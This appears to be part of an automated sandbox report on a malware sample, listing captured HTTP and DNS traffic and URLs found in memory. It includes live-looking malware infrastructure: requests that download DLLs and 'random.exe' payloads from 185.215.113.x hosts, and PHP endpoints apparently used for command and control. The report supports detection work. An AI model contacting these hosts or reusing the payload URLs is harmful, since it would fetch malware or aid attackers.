Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown	DoH DNS queries detected: name: assets.msn.com
Source: unknown	DoH DNS queries detected: name: assets.msn.com
Source: unknown	DoH DNS queries detected: name: ntp.msn.com
Source: unknown	DoH DNS queries detected: name: ntp.msn.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: skotes.exe, 00000019.00000002.3347416746.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce902415450
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3347416746.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe450oie
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d7fRn
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6139Mn
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6vn1
Source: skotes.exe, 00000019.00000002.3347416746.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeData
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeW
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea5
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec613959np
Source: skotes.exe, 00000019.00000002.3347416746.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeem32
Source: skotes.exe, 00000019.00000002.3347416746.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeosoft
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exerlencoded
Source: file.exe, 00000000.00000002.2545619670.0000000023BE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ons
Source: file.exe, 00000000.00000002.2518469068.0000000000965000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2522496997.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllc
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllQ
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllG
Source: file.exe, 00000000.00000002.2522496997.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2522496997.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllB
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/W
Source: file.exe, 00000000.00000002.2518469068.0000000000965000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2522496997.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550273178.000000002AB10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2545619670.0000000023C5C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2522496997.00000000013C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpDisposition:
Source: file.exe, 00000000.00000002.2545619670.0000000023C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpS
Source: file.exe, 00000000.00000002.2545619670.0000000023C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpW
Source: file.exe, 00000000.00000002.2522496997.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2518469068.0000000000965000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpoR
Source: file.exe, 00000000.00000002.2545619670.0000000023C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phppH
Source: file.exe, 00000000.00000002.2518469068.0000000000965000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: file.exe, 00000000.00000002.2522496997.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206oyo
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3347416746.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpU
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn)6
Source: skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2550549177.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2522496997.0000000001414000.00000004.00000020.00020000.00000000.sdmp, AFHDGDGI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_474.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_474.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_474.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: AFHDGDGI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
